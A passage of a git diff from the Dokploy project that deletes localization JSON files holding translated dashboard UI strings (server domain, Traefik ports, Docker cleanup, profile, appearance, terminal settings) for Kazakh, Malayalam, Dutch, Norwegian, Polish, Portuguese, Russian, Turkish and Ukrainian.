-	"settings.appearance.themeDescription": "대시보드 테마 선택",
-	"settings.appearance.themes.light": "라이트",
-	"settings.appearance.themes.dark": "다크",
-	"settings.appearance.themes.system": "시스템",
-	"settings.appearance.language": "언어",
-	"settings.appearance.languageDescription": "대시보드에서 사용할 언어 선택"
-}
diff --git a/apps/dokploy/public/locales/kz/common.json b/apps/dokploy/public/locales/kz/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/kz/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/kz/settings.json b/apps/dokploy/public/locales/kz/settings.json
deleted file mode 100644
index bf8f41372..000000000
--- a/apps/dokploy/public/locales/kz/settings.json
+++ /dev/null
@@ -1,41 +0,0 @@
-{
-	"settings.common.save": "Сақтау",
-	"settings.server.domain.title": "Сервер домені",
-	"settings.server.domain.description": "Dokploy сервер қолданбасына домен енгізіңіз.",
-	"settings.server.domain.form.domain": "Домен",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Эл. поштасы",
-	"settings.server.domain.form.certificate.label": "Сертификат",
-	"settings.server.domain.form.certificate.placeholder": "Сертификатты таңдаңыз",
-	"settings.server.domain.form.certificateOptions.none": "Жоқ",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Стандартты)",
-	"settings.server.webServer.title": "Веб-Сервер",
-	"settings.server.webServer.description": "Веб-серверді қайта жүктеу немесе тазалау.",
-	"settings.server.webServer.actions": "Әрекеттер",
-	"settings.server.webServer.reload": "Қайта жүктеу",
-	"settings.server.webServer.watchLogs": "Журналдарды қарау",
-	"settings.server.webServer.updateServerIp": "Сервердің IP жаңарту",
-	"settings.server.webServer.server.label": "Сервер",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Env Өзгерту",
-	"settings.server.webServer.storage.label": "Диск кеңістігі",
-	"settings.server.webServer.storage.cleanUnusedImages": "Пайдаланылмаған образды тазалау",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Пайдаланылмаған томды тазалау",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Тоқтатылған контейнерлерді тазалау",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder & Системаны тазалау",
-	"settings.server.webServer.storage.cleanMonitoring": "Мониторингті тазалау",
-	"settings.server.webServer.storage.cleanAll": "Барлығын тазалау",
-	"settings.profile.title": "Аккаунт",
-	"settings.profile.description": "Профиль мәліметтерін осы жерден өзгертіңіз.",
-	"settings.profile.email": "Эл. пошта",
-	"settings.profile.password": "Құпия сөз",
-	"settings.profile.avatar": "Аватар",
-	"settings.appearance.title": "Сыртқы түрі",
-	"settings.appearance.description": "Dokploy сыртқы келбетін өзгерту.",
-	"settings.appearance.theme": "Келбеті",
-	"settings.appearance.themeDescription": "Жүйе тақтасының келбетің таңдаңыз",
-	"settings.appearance.themes.light": "Жарық",
-	"settings.appearance.themes.dark": "Қараңғы",
-	"settings.appearance.themes.system": "Жүйелік",
-	"settings.appearance.language": "Тіл",
-	"settings.appearance.languageDescription": "Жүйе тақтасының тілің таңдаңыз"
-}
diff --git a/apps/dokploy/public/locales/ml/common.json b/apps/dokploy/public/locales/ml/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/ml/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/ml/settings.json b/apps/dokploy/public/locales/ml/settings.json
deleted file mode 100644
index cb62b6ec3..000000000
--- a/apps/dokploy/public/locales/ml/settings.json
+++ /dev/null
@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "സേവ് ചെയ്യുക",
-	"settings.common.enterTerminal": "ടർമിനലിൽ പ്രവേശിക്കുക",
-	"settings.server.domain.title": "സർവർ ഡോമെയ്ൻ",
-	"settings.server.domain.description": "നിങ്ങളുടെ സർവർ അപ്ലിക്കേഷനിൽ ഒരു ഡോമെയ്ൻ ചേർക്കുക.",
-	"settings.server.domain.form.domain": "ഡോമെയ്ൻ",
-	"settings.server.domain.form.letsEncryptEmail": "ലെറ്റ്സ് എൻക്രിപ്റ്റ് ഇമെയിൽ",
-	"settings.server.domain.form.certificate.label": "സർട്ടിഫിക്കറ്റ് പ്രൊവൈഡർ",
-	"settings.server.domain.form.certificate.placeholder": "ഒരു സർട്ടിഫിക്കറ്റ് തിരഞ്ഞെടുക്കുക",
-	"settings.server.domain.form.certificateOptions.none": "ഒന്നുമില്ല",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "ലെറ്റ്സ് എൻക്രിപ്റ്റ്",
-
-	"settings.server.webServer.title": "വെബ് സർവർ",
-	"settings.server.webServer.description": "വെബ് സർവർ റീലോഡ് ചെയ്യുക അല്ലെങ്കിൽ ശുചീകരിക്കുക.",
-	"settings.server.webServer.actions": "നടപടികൾ",
-	"settings.server.webServer.reload": "റീലോഡ് ചെയ്യുക",
-	"settings.server.webServer.watchLogs": "ലോഗുകൾ കാണുക",
-	"settings.server.webServer.updateServerIp": "സർവർ IP അപ്ഡേറ്റ് ചെയ്യുക",
-	"settings.server.webServer.server.label": "സർവർ",
-	"settings.server.webServer.traefik.label": "ട്രാഫിക്",
-	"settings.server.webServer.traefik.modifyEnv": "ചുറ്റുപാടുകൾ മാറ്റുക",
-	"settings.server.webServer.traefik.managePorts": "അധിക പോർട്ട് മാപ്പിംഗ്",
-	"settings.server.webServer.traefik.managePortsDescription": "ട്രാഫിക്കിനായി അധിക പോർട്ടുകൾ ചേർക്കുക അല്ലെങ്കിൽ നീക്കം ചെയ്യുക",
-	"settings.server.webServer.traefik.targetPort": "ടാർഗറ്റ് പോർട്ട്",
-	"settings.server.webServer.traefik.publishedPort": "പ്രസിദ്ധീകരിച്ച പോർട്ട്",
-	"settings.server.webServer.traefik.addPort": "പോർട്ട് ചേർക്കുക",
-	"settings.server.webServer.traefik.portsUpdated": "പോർട്ടുകൾ വിജയകരമായി അപ്ഡേറ്റ് ചെയ്തു",
-	"settings.server.webServer.traefik.portsUpdateError": "പോർട്ടുകൾ അപ്ഡേറ്റ് ചെയ്യാൻ പരാജയപ്പെട്ടു",
-	"settings.server.webServer.traefik.publishMode": "പ്രസിദ്ധീകരണ മോഡ്",
-	"settings.server.webServer.storage.label": "ഇടം",
-	"settings.server.webServer.storage.cleanUnusedImages": "ഉപയോഗിക്കാത്ത ഇമേജുകൾ ശുചീകരിക്കുക",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "ഉപയോഗിക്കാത്ത വോള്യങ്ങൾ ശുചീകരിക്കുക",
-	"settings.server.webServer.storage.cleanStoppedContainers": "നിർത്തിയ കണ്ടെയ്‌നറുകൾ ശുചീകരിക്കുക",
-	"settings.server.webServer.storage.cleanDockerBuilder": "ഡോക്കർ ബിൽഡറും സിസ്റ്റവും ശുചീകരിക്കുക",
-	"settings.server.webServer.storage.cleanMonitoring": "മോണിറ്ററിംഗ് ശുചീകരിക്കുക",
-	"settings.server.webServer.storage.cleanAll": "എല്ലാം ശുചീകരിക്കുക",
-
-	"settings.profile.title": "അക്കൗണ്ട്",
-	"settings.profile.description": "നിങ്ങളുടെ പ്രൊഫൈൽ വിശദാംശങ്ങൾ ഇവിടെ മാറ്റുക.",
-	"settings.profile.email": "ഇമെയിൽ",
-	"settings.profile.password": "പാസ്വേഡ്",
-	"settings.profile.avatar": "അവതാർ",
-
-	"settings.appearance.title": "ദൃശ്യമാനം",
-	"settings.appearance.description": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന്റെ തീം ഇഷ്ടാനുസൃതമാക്കുക.",
-	"settings.appearance.theme": "തീം",
-	"settings.appearance.themeDescription": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന് ഒരു തീം തിരഞ്ഞെടുക്കുക",
-	"settings.appearance.themes.light": "ലൈറ്റ്",
-	"settings.appearance.themes.dark": "ഡാർക്ക്",
-	"settings.appearance.themes.system": "സിസ്റ്റം",
-	"settings.appearance.language": "ഭാഷ",
-	"settings.appearance.languageDescription": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന് ഒരു ഭാഷ തിരഞ്ഞെടുക്കുക",
-
-	"settings.terminal.connectionSettings": "കണക്ഷൻ ക്രമീകരണങ്ങൾ",
-	"settings.terminal.ipAddress": "IP വിലാസം",
-	"settings.terminal.port": "പോർട്ട്",
-	"settings.terminal.username": "ഉപയോക്തൃനാമം"
-}
diff --git a/apps/dokploy/public/locales/nl/common.json b/apps/dokploy/public/locales/nl/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/nl/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/nl/settings.json b/apps/dokploy/public/locales/nl/settings.json
deleted file mode 100644
index c76d9bb9b..000000000
--- a/apps/dokploy/public/locales/nl/settings.json
+++ /dev/null
@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Opslaan",
-	"settings.common.enterTerminal": "Terminal",
-	"settings.server.domain.title": "Server Domein",
-	"settings.server.domain.description": "Voeg een domein toe aan jouw server applicatie.",
-	"settings.server.domain.form.domain": "Domein",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Email",
-	"settings.server.domain.form.certificate.label": "Certificaat Aanbieder",
-	"settings.server.domain.form.certificate.placeholder": "Select een certificaat",
-	"settings.server.domain.form.certificateOptions.none": "Geen",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Web Server",
-	"settings.server.webServer.description": "Herlaad of maak de web server schoon.",
-	"settings.server.webServer.actions": "Acties",
-	"settings.server.webServer.reload": "Herladen",
-	"settings.server.webServer.watchLogs": "Bekijk Logs",
-	"settings.server.webServer.updateServerIp": "Update de Server IP",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Bewerk Omgeving",
-	"settings.server.webServer.traefik.managePorts": "Extra Poort Mappings",
-	"settings.server.webServer.traefik.managePortsDescription": "Bewerk extra Poorten voor Traefik",
-	"settings.server.webServer.traefik.targetPort": "Doel Poort",
-	"settings.server.webServer.traefik.publishedPort": "Gepubliceerde Poort",
-	"settings.server.webServer.traefik.addPort": "Voeg Poort toe",
-	"settings.server.webServer.traefik.portsUpdated": "Poorten succesvol aangepast",
-	"settings.server.webServer.traefik.portsUpdateError": "Poorten niet succesvol aangepast",
-	"settings.server.webServer.traefik.publishMode": "Publiceer Mode",
-	"settings.server.webServer.storage.label": "Opslag",
-	"settings.server.webServer.storage.cleanUnusedImages": "Maak ongebruikte images schoon",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Maak ongebruikte volumes schoon",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Maak gestopte containers schoon",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Maak Docker Builder & Systeem schoon",
-	"settings.server.webServer.storage.cleanMonitoring": "Maak monitoor schoon",
-	"settings.server.webServer.storage.cleanAll": "Maak alles schoon",
-
-	"settings.profile.title": "Account",
-	"settings.profile.description": "Veramder details van account.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Wachtwoord",
-	"settings.profile.avatar": "Profiel Icoon",
-
-	"settings.appearance.title": "Uiterlijk",
-	"settings.appearance.description": "Verander het thema van je dashboard.",
-	"settings.appearance.theme": "Thema",
-	"settings.appearance.themeDescription": "Selecteer een thema voor je dashboard.",
-	"settings.appearance.themes.light": "Licht",
-	"settings.appearance.themes.dark": "Donker",
-	"settings.appearance.themes.system": "Systeem",
-	"settings.appearance.language": "Taal",
-	"settings.appearance.languageDescription": "Selecteer een taal voor je dashboard.",
-
-	"settings.terminal.connectionSettings": "Verbindings instellingen",
-	"settings.terminal.ipAddress": "IP Address",
-	"settings.terminal.port": "Poort",
-	"settings.terminal.username": "Gebruikersnaam"
-}
diff --git a/apps/dokploy/public/locales/no/common.json b/apps/dokploy/public/locales/no/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/no/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/no/settings.json b/apps/dokploy/public/locales/no/settings.json
deleted file mode 100644
index 03c6bc4a1..000000000
--- a/apps/dokploy/public/locales/no/settings.json
+++ /dev/null
@@ -1,52 +0,0 @@
-{
-	"settings.common.save": "Lagre",
-	"settings.server.domain.title": "Serverdomene",
-	"settings.server.domain.description": "Legg til et domene i serverapplikasjonen din.",
-	"settings.server.domain.form.domain": "Domene",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Epost",
-	"settings.server.domain.form.certificate.label": "Sertifikatleverandør",
-	"settings.server.domain.form.certificate.placeholder": "Velg et sertifikat",
-	"settings.server.domain.form.certificateOptions.none": "Ingen",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Webserver",
-	"settings.server.webServer.description": "Last på nytt eller rens webserveren.",
-	"settings.server.webServer.actions": "Handlinger",
-	"settings.server.webServer.reload": "Last på nytt",
-	"settings.server.webServer.watchLogs": "Se logger",
-	"settings.server.webServer.updateServerIp": "Oppdater server-IP",
-	"settings.server.webServer.server.label": "Server",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Endre miljø",
-	"settings.server.webServer.traefik.managePorts": "Ytterligere portkartlegginger",
-	"settings.server.webServer.traefik.managePortsDescription": "Legg til eller fjern flere porter for Traefik",
-	"settings.server.webServer.traefik.targetPort": "Målport",
-	"settings.server.webServer.traefik.publishedPort": "Publisert port",
-	"settings.server.webServer.traefik.addPort": "Legg til port",
-	"settings.server.webServer.traefik.portsUpdated": "Portene ble oppdatert",
-	"settings.server.webServer.traefik.portsUpdateError": "Kunne ikke oppdatere portene",
-	"settings.server.webServer.traefik.publishMode": "Publiseringsmodus",
-	"settings.server.webServer.storage.label": "Lagring",
-	"settings.server.webServer.storage.cleanUnusedImages": "Rens ubrukte bilder",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Rens ubrukte volumer",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Rens stoppete containere",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Rens Docker Builder og System",
-	"settings.server.webServer.storage.cleanMonitoring": "Rens overvåking",
-	"settings.server.webServer.storage.cleanAll": "Rens alt",
-
-	"settings.profile.title": "Konto",
-	"settings.profile.description": "Endre detaljene for profilen din her.",
-	"settings.profile.email": "Epost",
-	"settings.profile.password": "Passord",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Utseende",
-	"settings.appearance.description": "Tilpass temaet for dashbordet ditt.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Velg et tema for dashbordet ditt",
-	"settings.appearance.themes.light": "Lys",
-	"settings.appearance.themes.dark": "Mørk",
-	"settings.appearance.themes.system": "System",
-	"settings.appearance.language": "Språk",
-	"settings.appearance.languageDescription": "Velg et språk for dashbordet ditt"
-}
diff --git a/apps/dokploy/public/locales/pl/common.json b/apps/dokploy/public/locales/pl/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/pl/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/pl/settings.json b/apps/dokploy/public/locales/pl/settings.json
deleted file mode 100644
index 9899fc13e..000000000
--- a/apps/dokploy/public/locales/pl/settings.json
+++ /dev/null
@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Zapisz",
-	"settings.common.enterTerminal": "Otwórz terminal",
-	"settings.server.domain.title": "Domena",
-	"settings.server.domain.description": "Dodaj domenę do aplikacji",
-	"settings.server.domain.form.domain": "Domena",
-	"settings.server.domain.form.letsEncryptEmail": "Email Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Certyfikat",
-	"settings.server.domain.form.certificate.placeholder": "Wybierz certyfikat",
-	"settings.server.domain.form.certificateOptions.none": "Brak",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Domyślny)",
-
-	"settings.server.webServer.title": "Serwer",
-	"settings.server.webServer.description": "Przeładuj lub wyczyść serwer",
-	"settings.server.webServer.actions": "Akcje",
-	"settings.server.webServer.reload": "Przeładuj",
-	"settings.server.webServer.watchLogs": "Obserwuj logi",
-	"settings.server.webServer.updateServerIp": "Zaktualizuj IP serwera",
-	"settings.server.webServer.server.label": "Serwer",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Zmodyfikuj środowisko",
-	"settings.server.webServer.traefik.managePorts": "Dodatkowe mapowania portów",
-	"settings.server.webServer.traefik.managePortsDescription": "Dodaj lub usuń dodatkowe porty dla Traefik",
-	"settings.server.webServer.traefik.targetPort": "Port docelowy",
-	"settings.server.webServer.traefik.publishedPort": "Port opublikowany",
-	"settings.server.webServer.traefik.addPort": "Dodaj port",
-	"settings.server.webServer.traefik.portsUpdated": "Porty zaktualizowane pomyślnie",
-	"settings.server.webServer.traefik.portsUpdateError": "Nie udało się zaktualizować portów",
-	"settings.server.webServer.traefik.publishMode": "Tryb publikacji",
-	"settings.server.webServer.storage.label": "Przestrzeń",
-	"settings.server.webServer.storage.cleanUnusedImages": "Wyczyść nieużywane obrazy",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Wyczyść nieużywane wolumeny",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Wyczyść zatrzymane kontenery",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Wyczyść Docker Builder i System",
-	"settings.server.webServer.storage.cleanMonitoring": "Wyczyść monitorowanie",
-	"settings.server.webServer.storage.cleanAll": "Wyczyść wszystko",
-
-	"settings.profile.title": "Konto",
-	"settings.profile.description": "Zmień szczegóły swojego profilu",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Hasło",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Wygląd",
-	"settings.appearance.description": "Dostosuj motyw swojego pulpitu",
-	"settings.appearance.theme": "Motyw",
-	"settings.appearance.themeDescription": "Wybierz motyw swojego pulpitu",
-	"settings.appearance.themes.light": "Jasny",
-	"settings.appearance.themes.dark": "Ciemny",
-	"settings.appearance.themes.system": "System",
-	"settings.appearance.language": "Język",
-	"settings.appearance.languageDescription": "Wybierz język swojego pulpitu",
-
-	"settings.terminal.connectionSettings": "Ustawienia połączenia",
-	"settings.terminal.ipAddress": "Adres IP",
-	"settings.terminal.port": "Port",
-	"settings.terminal.username": "Nazwa użytkownika"
-}
diff --git a/apps/dokploy/public/locales/pt-br/common.json b/apps/dokploy/public/locales/pt-br/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/pt-br/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/pt-br/settings.json b/apps/dokploy/public/locales/pt-br/settings.json
deleted file mode 100644
index f4d90a2f8..000000000
--- a/apps/dokploy/public/locales/pt-br/settings.json
+++ /dev/null
@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "Salvar",
-	"settings.server.domain.title": "Domínio do Servidor",
-	"settings.server.domain.description": "Configure o domínio do servidor",
-	"settings.server.domain.form.domain": "Domínio",
-	"settings.server.domain.form.letsEncryptEmail": "Email do Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Certificado",
-	"settings.server.domain.form.certificate.placeholder": "Selecione um Certificado",
-	"settings.server.domain.form.certificateOptions.none": "Nenhum",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Padrão)",
-
-	"settings.server.webServer.title": "Servidor web",
-	"settings.server.webServer.description": "Limpar e recarregar servidor web.",
-	"settings.server.webServer.actions": "Ações",
-	"settings.server.webServer.reload": "Recarregar",
-	"settings.server.webServer.watchLogs": "Ver logs",
-	"settings.server.webServer.updateServerIp": "Atualizar IP do Servidor",
-	"settings.server.webServer.server.label": "Servidor",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Alterar Env",
-	"settings.server.webServer.storage.label": "Armazenamento",
-	"settings.server.webServer.storage.cleanUnusedImages": "Limpar imagens não utilizadas",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Limpar volumes não utilizados",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Limpar containers parados",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Limpar Docker Builder & System",
-	"settings.server.webServer.storage.cleanMonitoring": "Limpar Monitoramento",
-	"settings.server.webServer.storage.cleanAll": "Limpar Tudo",
-
-	"settings.profile.title": "Conta",
-	"settings.profile.description": "Altere os detalhes do seu perfil aqui.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Senha",
-	"settings.profile.avatar": "Avatar",
-
-	"settings.appearance.title": "Aparencia",
-	"settings.appearance.description": "Personalize o tema do seu dashboard.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Selecione um tema para o dashboard",
-	"settings.appearance.themes.light": "Claro",
-	"settings.appearance.themes.dark": "Escuro",
-	"settings.appearance.themes.system": "Automático",
-	"settings.appearance.language": "Linguagem",
-	"settings.appearance.languageDescription": "Selecione o idioma do dashboard"
-}
diff --git a/apps/dokploy/public/locales/ru/common.json b/apps/dokploy/public/locales/ru/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/ru/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/ru/settings.json b/apps/dokploy/public/locales/ru/settings.json
deleted file mode 100644
index 0d87ed159..000000000
--- a/apps/dokploy/public/locales/ru/settings.json
+++ /dev/null
@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Сохранить",
-	"settings.common.enterTerminal": "Открыть терминал",
-	"settings.server.domain.title": "Домен сервера",
-	"settings.server.domain.description": "Установите домен для вашего серверного приложения Dokploy.",
-	"settings.server.domain.form.domain": "Домен",
-	"settings.server.domain.form.letsEncryptEmail": "Email для Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Сертификат",
-	"settings.server.domain.form.certificate.placeholder": "Выберите сертификат",
-	"settings.server.domain.form.certificateOptions.none": "Нет",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Веб-сервер",
-	"settings.server.webServer.description": "Перезагрузка или очистка веб-сервера.",
-	"settings.server.webServer.actions": "Действия",
-	"settings.server.webServer.reload": "Перезагрузить",
-	"settings.server.webServer.watchLogs": "Просмотр логов",
-	"settings.server.webServer.updateServerIp": "Изменить IP адрес",
-	"settings.server.webServer.server.label": "Сервер",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Изменить переменные окружения",
-	"settings.server.webServer.traefik.managePorts": "Назначение портов",
-	"settings.server.webServer.traefik.managePortsDescription": "Добавить или удалить дополнительные порты для Traefik",
-	"settings.server.webServer.traefik.targetPort": "Внутренний порт",
-	"settings.server.webServer.traefik.publishedPort": "Внешний порт",
-	"settings.server.webServer.traefik.addPort": "Добавить порт",
-	"settings.server.webServer.traefik.portsUpdated": "Порты успешно обновлены",
-	"settings.server.webServer.traefik.portsUpdateError": "Не удалось обновить порты",
-	"settings.server.webServer.traefik.publishMode": "Режим сопоставления",
-	"settings.server.webServer.storage.label": "Дисковое пространство",
-	"settings.server.webServer.storage.cleanUnusedImages": "Очистить неиспользуемые образы",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Очистить неиспользуемые тома",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Очистить остановленные контейнеры",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Очистить Docker Builder и систему",
-	"settings.server.webServer.storage.cleanMonitoring": "Очистить мониторинг",
-	"settings.server.webServer.storage.cleanAll": "Очистить все",
-
-	"settings.profile.title": "Аккаунт",
-	"settings.profile.description": "Измените данные вашего профиля.",
-	"settings.profile.email": "Email",
-	"settings.profile.password": "Пароль",
-	"settings.profile.avatar": "Аватар",
-
-	"settings.appearance.title": "Внешний вид",
-	"settings.appearance.description": "Настройте тему Dokploy.",
-	"settings.appearance.theme": "Тема",
-	"settings.appearance.themeDescription": "Выберите тему системной панели",
-	"settings.appearance.themes.light": "Светлая",
-	"settings.appearance.themes.dark": "Темная",
-	"settings.appearance.themes.system": "Системная",
-	"settings.appearance.language": "Язык",
-	"settings.appearance.languageDescription": "Выберите язык для панели управления",
-
-	"settings.terminal.connectionSettings": "Настройки подключения",
-	"settings.terminal.ipAddress": "IP адрес",
-	"settings.terminal.port": "Порт",
-	"settings.terminal.username": "Имя пользователя"
-}
diff --git a/apps/dokploy/public/locales/tr/common.json b/apps/dokploy/public/locales/tr/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/tr/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/tr/settings.json b/apps/dokploy/public/locales/tr/settings.json
deleted file mode 100644
index 47a6629f5..000000000
--- a/apps/dokploy/public/locales/tr/settings.json
+++ /dev/null
@@ -1,44 +0,0 @@
-{
-	"settings.common.save": "Kaydet",
-	"settings.server.domain.title": "Sunucu Alanı",
-	"settings.server.domain.description": "Sunucu uygulamanıza bir alan adı ekleyin.",
-	"settings.server.domain.form.domain": "Alan Adı",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-postası",
-	"settings.server.domain.form.certificate.label": "Sertifika",
-	"settings.server.domain.form.certificate.placeholder": "Bir sertifika seçin",
-	"settings.server.domain.form.certificateOptions.none": "Hiçbiri",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Varsayılan)",
-
-	"settings.server.webServer.title": "Web Sunucusu",
-	"settings.server.webServer.description": "Web sunucusunu yeniden yükleyin veya temizleyin.",
-	"settings.server.webServer.actions": "İşlemler",
-	"settings.server.webServer.reload": "Yeniden Yükle",
-	"settings.server.webServer.watchLogs": "Günlükleri İzle",
-	"settings.server.webServer.updateServerIp": "Sunucu IP'sini Güncelle",
-	"settings.server.webServer.server.label": "Sunucu",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Env Değiştir",
-	"settings.server.webServer.storage.label": "Alan",
-	"settings.server.webServer.storage.cleanUnusedImages": "Kullanılmayan görüntüleri temizle",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "Kullanılmayan birimleri temizle",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Durmuş konteynerleri temizle",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder ve Sistemi Temizle",
-	"settings.server.webServer.storage.cleanMonitoring": "İzlemeyi Temizle",
-	"settings.server.webServer.storage.cleanAll": "Hepsini temizle",
-
-	"settings.profile.title": "Hesap",
-	"settings.profile.description": "Profil detaylarınızı buradan değiştirebilirsiniz.",
-	"settings.profile.email": "E-posta",
-	"settings.profile.password": "Şifre",
-	"settings.profile.avatar": "Profil Resmi",
-
-	"settings.appearance.title": "Görünüm",
-	"settings.appearance.description": "Kontrol panelinin temasını özelleştirin.",
-	"settings.appearance.theme": "Tema",
-	"settings.appearance.themeDescription": "Kontrol paneli için bir tema seçin",
-	"settings.appearance.themes.light": "Açık",
-	"settings.appearance.themes.dark": "Koyu",
-	"settings.appearance.themes.system": "Sistem",
-	"settings.appearance.language": "Dil",
-	"settings.appearance.languageDescription": "Kontrol paneli için bir dil seçin"
-}
diff --git a/apps/dokploy/public/locales/uk/common.json b/apps/dokploy/public/locales/uk/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/uk/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/uk/settings.json b/apps/dokploy/public/locales/uk/settings.json
deleted file mode 100644
index 766a1bff9..000000000
--- a/apps/dokploy/public/locales/uk/settings.json
+++ /dev/null
@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "Зберегти",
-	"settings.common.enterTerminal": "Увійти в термінал",
-	"settings.server.domain.title": "Домен сервера",
-	"settings.server.domain.description": "Додайте домен до вашого серверного застосунку.",
-	"settings.server.domain.form.domain": "Домен",
-	"settings.server.domain.form.letsEncryptEmail": "Електронна пошта для Let's Encrypt",
-	"settings.server.domain.form.certificate.label": "Постачальник сертифікатів",
-	"settings.server.domain.form.certificate.placeholder": "Оберіть сертифікат",
-	"settings.server.domain.form.certificateOptions.none": "Відсутній",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "Веб-сервер",
-	"settings.server.webServer.description": "Перезавантажте або очистьте веб-сервер.",
-	"settings.server.webServer.actions": "Дії",
-	"settings.server.webServer.reload": "Перезавантажити",
-	"settings.server.webServer.watchLogs": "Перегляд логів",
-	"settings.server.webServer.updateServerIp": "Оновити IP-адресу сервера",
-	"settings.server.webServer.server.label": "Сервер",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "Змінити середовище",
-	"settings.server.webServer.traefik.managePorts": "Додаткові порти",
-	"settings.server.webServer.traefik.managePortsDescription": "Додайте або видаліть порти для Traefik",
-	"settings.server.webServer.traefik.targetPort": "Цільовий порт",
-	"settings.server.webServer.traefik.publishedPort": "Опублікований порт",
-	"settings.server.webServer.traefik.addPort": "Додати порт",
-	"settings.server.webServer.traefik.portsUpdated": "Порти успішно оновлено",
-	"settings.server.webServer.traefik.portsUpdateError": "Не вдалося оновити порти",
-	"settings.server.webServer.traefik.publishMode": "Режим публікації",
-	"settings.server.webServer.storage.label": "Дисковий простір",
-	"settings.server.webServer.storage.cleanUnusedImages": "Очистити невикористані образи",
